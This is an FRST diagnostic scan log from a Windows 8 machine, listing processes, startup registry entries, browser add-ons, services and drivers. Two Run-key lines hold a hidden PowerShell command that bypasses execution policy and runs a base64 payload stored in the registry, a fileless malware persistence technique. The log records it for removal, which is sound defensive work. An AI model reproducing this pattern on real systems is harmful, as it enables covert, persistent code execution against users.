Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version:17-12-2015
Ran by jurek (administrator) on BUKA (17-12-2015 10:08:25)
Running from C:\Users\jurek\Downloads
Loaded Profiles: jurek &  (Available Profiles: jurek & Administrator)
Platform: Windows 8 Pro (X64) Language: Angielski (Stany Zjednoczone)
Internet Explorer Version 10 (Default browser: Chrome)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(NVIDIA Corporation) C:\Windows\System32\nvvsvc.exe
(Intel Corporation) C:\Windows\System32\igfxCUIService.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvxdsync.exe
(NVIDIA Corporation) C:\Windows\System32\nvvsvc.exe
(ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\AsLdrSrv.exe
(ASUS) C:\Program Files (x86)\ASUS\ATK Package\ATKGFNEX\GFNEXSrv.exe
(Atheros Commnucations) C:\Windows\System32\AdminService.exe
(Microsoft Corporation) C:\Program Files (x86)\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\GeForce Experience Service\GfExperienceService.exe
(Nero AG) E:\Programosy\HTC Sync\HSMServiceEntry.exe
() C:\ProgramData\DatacardService\HWDeviceService64.exe
(Intel(R) Corporation) C:\Program Files\Intel\iCLS Client\HeciServer.exe
(IObit) C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamsvc.exe
() C:\Program Files (x86)\HTC\Internet Pass-Through\PassThruSvr.exe
() C:\Windows\SysWOW64\PnkBstrA.exe
(Microsoft Corporation) C:\Program Files\Windows Defender\MsMpEng.exe
(ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\HControl.exe
(ASUS) C:\Program Files\ASUS\P4G\BatteryLife.exe
(Huawei Technologies Co., Ltd.) C:\ProgramData\DatacardService\DCSHelper.exe
() E:\Programosy\HTC Sync\HTC Sync\adb.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvtray.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Intel Corporation) C:\Windows\System32\igfxEM.exe
(Intel Corporation) C:\Windows\System32\igfxHK.exe
(Intel Corporation) C:\Windows\System32\igfxTray.exe
(ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\ATK Package\ATK Media\DMedia.exe
(ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\ATK Package\ATKOSD2\ATKOSD2.exe
(Microsoft Corporation) C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
(Fabio Martin) E:\Programosy\7 Sticky Notes\7StickyNotes.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(IObit) C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMonitor.exe
(Piriform Ltd) C:\Program Files\CCleaner\CCleaner64.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\FWService\IntelMeFWService.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(www.BitComet.com) E:\Programosy\BitComet\BitComet.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
() C:\Windows\temp\47.0.2526.106_47.0.2526.80_chrome_updater_3stage.exe7e9bd2c
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\47.0.2526.80\Installer\setup.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamNetworkService.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamsvc.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
() E:\Programosy\NapiProjekt\napisy.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Malwarebytes) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbam.exe
(Malwarebytes) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe
(Malwarebytes) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe


==================== Registry (Whitelisted) ===========================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [13674712 2000-01-01] (Realtek Semiconductor)
HKLM\...\Run: [ShadowPlay] => C:\Windows\system32\rundll32.exe C:\Windows\system32\nvspcap64.dll,ShadowPlayOnSystemStart
HKLM\...\Run: [NvBackend] => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe [2754704 2015-06-03] (NVIDIA Corporation)
HKLM\...\Run: [Zune Launcher] => C:\Program Files\Zune\ZuneLauncher.exe [163552 2011-08-05] (Microsoft Corporation)
HKLM-x32\...\Run: [BCSSync] => C:\Program Files (x86)\Microsoft Office\Office14\BCSSync.exe [91520 2010-03-13] (Microsoft Corporation)
Winlogon\Notify\igfxcui: igfxdev.dll [X]
HKLM\...\Policies\Explorer: [TaskbarNoNotification] 0
HKLM\...\Policies\Explorer: [HideSCAHealth] 0
HKU\S-1-5-18-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Policies\Explorer: [TaskbarNoNotification] 0
HKU\S-1-5-18-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Policies\Explorer: [HideSCAHealth] 0
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001\...\Run: [Mobile Partner] => E:\Programosy\Mobile Partner\Mobile Partner.exe [515072 2011-10-24] ()
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001\...\Run: [ChomikBox] => D:\Szpyra Militarne\chomikbox.exe [6033408 2014-03-11] ( )
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001\...\Run: [{5919B21C-1B82-4F17-85FF-5D62066E73A1}] => powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\JLXVTLPJVAIKPA').YKEFZVOR)));
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001\...\Run: [CCleaner Monitoring] => C:\Program Files\CCleaner\CCleaner64.exe [8591272 2015-11-16] (Piriform Ltd)
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [50749056 2015-12-08] (Skype Technologies S.A.)
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001\...\Policies\Explorer: [TaskbarNoNotification] 0
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001\...\Policies\Explorer: [HideSCAHealth] 0
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Run: [Mobile Partner] => E:\Programosy\Mobile Partner\Mobile Partner.exe [515072 2011-10-24] ()
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Run: [ChomikBox] => D:\Szpyra Militarne\chomikbox.exe [6033408 2014-03-11] ( )
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Run: [{5919B21C-1B82-4F17-85FF-5D62066E73A1}] => powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\JLXVTLPJVAIKPA').YKEFZVOR)));
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Run: [CCleaner Monitoring] => C:\Program Files\CCleaner\CCleaner64.exe [8591272 2015-11-16] (Piriform Ltd)
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [50749056 2015-12-08] (Skype Technologies S.A.)
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Policies\Explorer: [TaskbarNoNotification] 0
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Policies\Explorer: [HideSCAHealth] 0
HKU\S-1-5-21-1268698185-3662455055-1806142860-500-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Policies\Explorer: [TaskbarNoNotification] 0
HKU\S-1-5-21-1268698185-3662455055-1806142860-500-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Policies\Explorer: [HideSCAHealth] 0
HKU\S-1-5-21-1268698185-3662455055-1806142860-500-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\MountPoints2: {5dc97f52-2c2c-11e3-be83-446d57c68b4a} - "G:\AutoRun.exe" 
HKU\S-1-5-18\...\Policies\Explorer: [TaskbarNoNotification] 0
HKU\S-1-5-18\...\Policies\Explorer: [HideSCAHealth] 0
AppInit_DLLs: C:\Windows\System32\nvinitx.dll => C:\Windows\System32\nvinitx.dll [175880 2015-05-28] (NVIDIA Corporation)
AppInit_DLLs: , C:\Windows\system32\nvinitx.dll => C:\Windows\system32\nvinitx.dll [175880 2015-05-28] (NVIDIA Corporation)
AppInit_DLLs-x32: c:\Windows\SysWOW64\nvinit.dll => c:\Windows\SysWOW64\nvinit.dll [154256 2015-05-28] (NVIDIA Corporation)
AppInit_DLLs-x32:  C:\Windows\SysWOW64\nvinit.dll => C:\Windows\SysWOW64\nvinit.dll [154256 2015-05-28] (NVIDIA Corporation)
ShellIconOverlayIdentifiers: [###MegaShellExtPending] -> {056D528D-CE28-4194-9BA3-BA2E9197FF8C} =>  No File
ShellIconOverlayIdentifiers: [###MegaShellExtSynced] -> {05B38830-F4E9-4329-978B-1DD28605D202} =>  No File
ShellIconOverlayIdentifiers: [###MegaShellExtSyncing] -> {0596C850-7BDD-4C9D-AFDF-873BE6890637} =>  No File
ShellIconOverlayIdentifiers-x32: [###MegaShellExtPending] -> {056D528D-CE28-4194-9BA3-BA2E9197FF8C} =>  No File
ShellIconOverlayIdentifiers-x32: [###MegaShellExtSynced] -> {05B38830-F4E9-4329-978B-1DD28605D202} =>  No File
ShellIconOverlayIdentifiers-x32: [###MegaShellExtSyncing] -> {0596C850-7BDD-4C9D-AFDF-873BE6890637} =>  No File
Startup: C:\Users\jurek\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7 Sticky Notes.lnk [2015-12-12]
ShortcutTarget: 7 Sticky Notes.lnk -> E:\Programosy\7 Sticky Notes\7StickyNotes.exe (Fabio Martin)
CHR HKLM\SOFTWARE\Policies\Google: Restriction <======= ATTENTION

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

Tcpip\Parameters: [DhcpNameServer] 62.179.1.63 62.179.1.62
Tcpip\..\Interfaces\{55005AF7-CD58-44DC-8138-B95A288DE07C}: [NameServer]  
Tcpip\..\Interfaces\{935D8F81-5F8C-4E41-9569-1D925651C2D8}: [DhcpNameServer] 62.179.1.63 62.179.1.62

Internet Explorer:
==================
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = www.google.com
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = 
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = www.google.com
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = 
HKLM\Software\Microsoft\Internet Explorer\Main,Local Page = 
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Local Page = 
HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=msnhome
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
HKU\S-1-5-21-1268698185-3662455055-1806142860-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
URLSearchHook: [S-1-5-21-1268698185-3662455055-1806142860-500-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0] ATTENTION => Default URLSearchHook is missing
SearchScopes: HKLM-x32 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSE1
SearchScopes: HKU\S-1-5-21-1268698185-3662455055-1806142860-1001 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = 
SearchScopes: HKU\S-1-5-21-1268698185-3662455055-1806142860-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = 
BHO: Groove GFS Browser Helper -> {72853161-30C5-4D22-B7F9-0BBC1D38A37E} -> C:\Program Files\Microsoft Office\Office14\GROOVEEX.DLL [2010-03-25] (Microsoft Corporation)
BHO: Skype Click to Call for Internet Explorer -> {AE805869-2E5C-4ED4-8F7B-F1F7851A4497} -> C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\skypeieplugin.dll [2015-10-12] (Microsoft Corporation)
BHO: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL [2010-02-28] (Microsoft Corporation)
BHO-x32: BitComet Helper -> {39F7E362-828A-4B5A-BCAF-5B79BFDFEA60} -> E:\Programosy\BitComet\tools\BitCometBHO_1.5.4.11.dll [2013-11-29] (BitComet)
BHO-x32: Groove GFS Browser Helper -> {72853161-30C5-4D22-B7F9-0BBC1D38A37E} -> C:\Program Files (x86)\Microsoft Office\Office14\GROOVEEX.DLL [2010-03-25] (Microsoft Corporation)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> E:\Programosy\java\bin\ssv.dll [2013-10-18] (Oracle Corporation)
BHO-x32: Skype Click to Call for Internet Explorer -> {AE805869-2E5C-4ED4-8F7B-F1F7851A4497} -> C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll [2015-10-12] (Microsoft Corporation)
BHO-x32: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files (x86)\Microsoft Office\Office14\URLREDIR.DLL [2010-02-28] (Microsoft Corporation)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> E:\Programosy\java\bin\jp2ssv.dll [2013-10-18] (Oracle Corporation)
Handler: skypec2c - {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\skypeieplugin.dll [2015-10-12] (Microsoft Corporation)
Handler-x32: skypec2c - {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll [2015-10-12] (Microsoft Corporation)

FireFox:
========
FF ProfilePath: C:\Users\jurek\AppData\Roaming\Mozilla\Firefox\Profiles\kpzkajcf.default
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_20_0_0_235.dll [2015-12-10] ()
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files\Microsoft Silverlight\5.1.40416.0\npctrl.dll [2015-04-15] ( Microsoft Corporation)
FF Plugin: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~1\MICROS~1\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation)
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_20_0_0_235.dll [2015-12-10] ()
FF Plugin-x32: @Google.com/GoogleEarthPlugin -> C:\Program Files (x86)\Google\Google Earth\plugin\npgeplugin.dll [2013-07-12] (Google)
FF Plugin-x32: @intel-webapi.intel.com/Intel WebAPI ipt;version=4.0.5 -> C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT\npIntelWebAPIIPT.dll [2000-01-01] (Intel Corporation)
FF Plugin-x32: @intel-webapi.intel.com/Intel WebAPI updater -> C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT\npIntelWebAPIUpdater.dll [2000-01-01] (Intel Corporation)
FF Plugin-x32: @java.com/DTPlugin,version=10.45.2 -> E:\Programosy\java\bin\dtplugin\npDeployJava1.dll [2013-10-18] (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=10.45.2 -> E:\Programosy\java\bin\plugin2\npjp2.dll [2013-10-18] (Oracle Corporation)
FF Plugin-x32: @live.heroesandgenerals.com/npretox -> E:\Gry\Heroes & Generals\live\npretox-1.0.6.1\npretoxlive-1.0.6.1.dll [2015-09-15] (Reto-Moto ApS)
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files (x86)\Microsoft Silverlight\5.1.40416.0\npctrl.dll [2015-04-15] ( Microsoft Corporation)
FF Plugin-x32: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~2\MICROS~2\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation)
FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~2\Office14\NPSPWRAP.DLL [2010-03-24] (Microsoft Corporation)
FF Plugin-x32: @pandonetworks.com/PandoWebPlugin -> C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll [No File]
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.29.1\npGoogleUpdate3.dll [2015-12-03] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.29.1\npGoogleUpdate3.dll [2015-12-03] (Google Inc.)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AIR\nppdf32.dll [2015-09-30] (Adobe Systems Inc.)
FF Extension: No Name - C:\Users\jurek\AppData\Roaming\Mozilla\Firefox\Profiles\kpzkajcf.default\extensions\sidebarff@gmail.com [not found]
FF Extension: No Name - C:\Users\jurek\AppData\Roaming\Mozilla\Firefox\Profiles\kpzkajcf.default\extensions\default_newtabff@gmail.com [not found]
FF Extension: No Name - C:\Users\jurek\AppData\Roaming\Mozilla\Firefox\Profiles\kpzkajcf.default\extensions\defsearchp@gmail.com.xpi [not found]
FF Extension: No Name - C:\Users\jurek\AppData\Roaming\Mozilla\Firefox\Profiles\kpzkajcf.default\extensions\yahooprotected@gmail.com [not found]
FF Extension: BitComet Video Downloader - C:\Users\jurek\AppData\Roaming\Mozilla\Firefox\Profiles\kpzkajcf.default\Extensions\{B042753D-F57E-4e8e-A01B-7379A6D4CEFB} [2015-12-15] [not signed]
FF Extension: Adblock Plus - C:\Users\jurek\AppData\Roaming\Mozilla\Firefox\Profiles\kpzkajcf.default\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2015-10-10]
FF Extension: Skype Click to Call - C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{82AF8DCA-6DE9-405D-BD5E-43525BDAD38A}.xpi [2015-10-08]
StartMenuInternet: FIREFOX.EXE - firefox.exe

Chrome: 
=======
CHR Profile: C:\Users\jurek\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (HD for YouTube™) - C:\Users\jurek\AppData\Local\Google\Chrome\User Data\Default\Extensions\akjbfncbadcmnkopckegnmjgihagponf [2015-11-23]
CHR Extension: (Dysk Google) - C:\Users\jurek\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-10-21]
CHR Extension: (YouTube) - C:\Users\jurek\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-10-21]
CHR Extension: (Google Search) - C:\Users\jurek\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-10-27]
CHR Extension: (Heroes & Generals) - C:\Users\jurek\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbophcdhblbipoaacgchllkobdaolpge [2015-10-19]
CHR Extension: (Dokumenty Google offline) - C:\Users\jurek\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2015-12-12]
CHR Extension: (AdBlock) - C:\Users\jurek\AppData\Local\Google\Chrome\User Data\Default\Extensions\gighmmpiobklfepjocnamgkkbiglidom [2015-12-03]
CHR Extension: (Adblock For Youtube) - C:\Users\jurek\AppData\Local\Google\Chrome\User Data\Default\Extensions\gonfdnlgmedknahgpcciloihcpgjofkc [2014-12-13]
CHR Extension: (Płatności w sklepie Chrome Web Store) - C:\Users\jurek\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2015-07-29]
CHR Extension: (Gmail) - C:\Users\jurek\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-10-21]
CHR HKLM\...\Chrome\Extension: [jdiejbegdjikmehflknhkbieocmnogcf] - C:\Users\jurek\AppData\Local\Google\Chrome\User Data\Default\Extensions\jdiejbegdjikmehflknhkbieocmnogcf.crx [2015-11-07]
CHR HKLM-x32\...\Chrome\Extension: [dhigneefebkcagnpnpbibganpmfgebnk] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [jdiejbegdjikmehflknhkbieocmnogcf] - C:\Users\jurek\AppData\Local\Google\Chrome\User Data\Default\Extensions\jdiejbegdjikmehflknhkbieocmnogcf.crx [2015-11-07]

==================== Services (Whitelisted) ========================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

R2 AtherosSvc; C:\Windows\system32\AdminService.exe [208384 2012-08-29] (Atheros Commnucations)
S3 BITCOMET_HELPER_SERVICE; E:\Programosy\BitComet\tools\BitCometService.exe [1296728 2013-11-29] (www.BitComet.com)
S3 c2cautoupdatesvc; C:\Program Files (x86)\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe [1433216 2015-10-12] (Microsoft Corporation)
R2 c2cpnrsvc; C:\Program Files (x86)\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe [1773696 2015-10-12] (Microsoft Corporation)
R2 GfExperienceService; C:\Program Files\NVIDIA Corporation\GeForce Experience Service\GfExperienceService.exe [1152656 2015-06-03] (NVIDIA Corporation)
R2 HTCMonitorService; E:\Programosy\htc sync\HSMServiceEntry.exe [87368 2014-06-27] (Nero AG)
R2 HWDeviceService64.exe; C:\ProgramData\DatacardService\HWDeviceService64.exe [346976 2011-03-14] ()
R2 igfxCUIService1.0.0.0; C:\Windows\system32\igfxCUIService.exe [296432 2000-01-01] (Intel Corporation)
R2 Intel(R) Capability Licensing Service Interface; C:\Program Files\Intel\iCLS Client\HeciServer.exe [747520 2013-08-27] (Intel(R) Corporation) [File not signed]
S3 Intel(R) Capability Licensing Service TCP IP Interface; C:\Program Files\Intel\iCLS Client\SocketHeciServer.exe [828376 2013-08-27] (Intel(R) Corporation)
R2 Intel(R) ME Service; C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\FWService\IntelMeFWService.exe [131544 2000-01-01] (Intel Corporation)
S3 iumsvc; C:\Program Files (x86)\Intel\Intel(R) Update Manager\bin\iumsvc.exe [178312 2015-09-25] (Intel Corporation)
R2 jhi_service; C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe [169432 2000-01-01] (Intel Corporation)
R2 LiveUpdateSvc; C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe [2909472 2015-07-30] (IObit)
R2 MBAMScheduler; C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe [1513784 2015-10-05] (Malwarebytes)
R2 MBAMService; C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe [1135416 2015-10-05] (Malwarebytes)
R2 NvNetworkService; C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe [1893008 2015-06-03] (NVIDIA Corporation)
R2 NvStreamSvc; C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamsvc.exe [23007376 2015-06-03] (NVIDIA Corporation)
R2 PassThru Service; C:\Program Files (x86)\HTC\Internet Pass-Through\PassThruSvr.exe [166912 2013-10-17] () [File not signed]
R2 PnkBstrA; C:\Windows\SysWOW64\PnkBstrA.exe [75136 2013-07-22] ()
S3 wifimansvc; E:\Programosy\Mobile Partner\eap\wifimansvc.exe [598528 2011-10-24] () [File not signed]
R2 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [16048 2013-07-02] (Microsoft Corporation)

===================== Drivers (Whitelisted) ==========================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

S3 androidusb; C:\Windows\System32\Drivers\androidusb.sys [32768 2010-04-29] (Google Inc)
R1 dtsoftbus01; C:\Windows\System32\drivers\dtsoftbus01.sys [283064 2014-02-06] (Disc Soft Ltd)
S0 ebdrv; C:\Windows\System32\drivers\evbda.sys [3265256 2012-09-20] (Broadcom Corporation)
S3 Hamachi; C:\Windows\system32\DRIVERS\Hamdrv.sys [44296 2015-03-30] (LogMeIn Inc.)
S3 HtcVCom32; C:\Windows\system32\DRIVERS\HtcVComV64.sys [121800 2010-03-09] (QUALCOMM Incorporated) [File not signed]
S3 huawei_wwanecm; C:\Windows\system32\DRIVERS\ew_juwwanecm.sys [238080 2012-04-23] (Huawei Technologies Co., Ltd.)
R3 MBAMProtector; C:\Windows\system32\drivers\mbam.sys [25816 2015-10-05] (Malwarebytes)
R3 MBAMSwissArmy; C:\Windows\system32\drivers\MBAMSwissArmy.sys [192216 2015-12-17] (Malwarebytes)
R3 MBAMWebAccessControl; C:\Windows\system32\drivers\mwac.sys [64216 2015-10-05] (Malwarebytes Corporation)
R3 MEIx64; C:\Windows\system32\DRIVERS\TeeDriverx64.sys [100312 2000-01-01] (Intel Corporation)
R3 NvStreamKms; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys [19600 2015-06-03] (NVIDIA Corporation)
R3 nvvad_WaveExtensible; C:\Windows\system32\drivers\nvvad64v.sys [38032 2015-04-03] (NVIDIA Corporation)
S3 SmbDrv; C:\Windows\system32\DRIVERS\Smb_driver.sys [21264 2012-02-09] (Synaptics Incorporated)
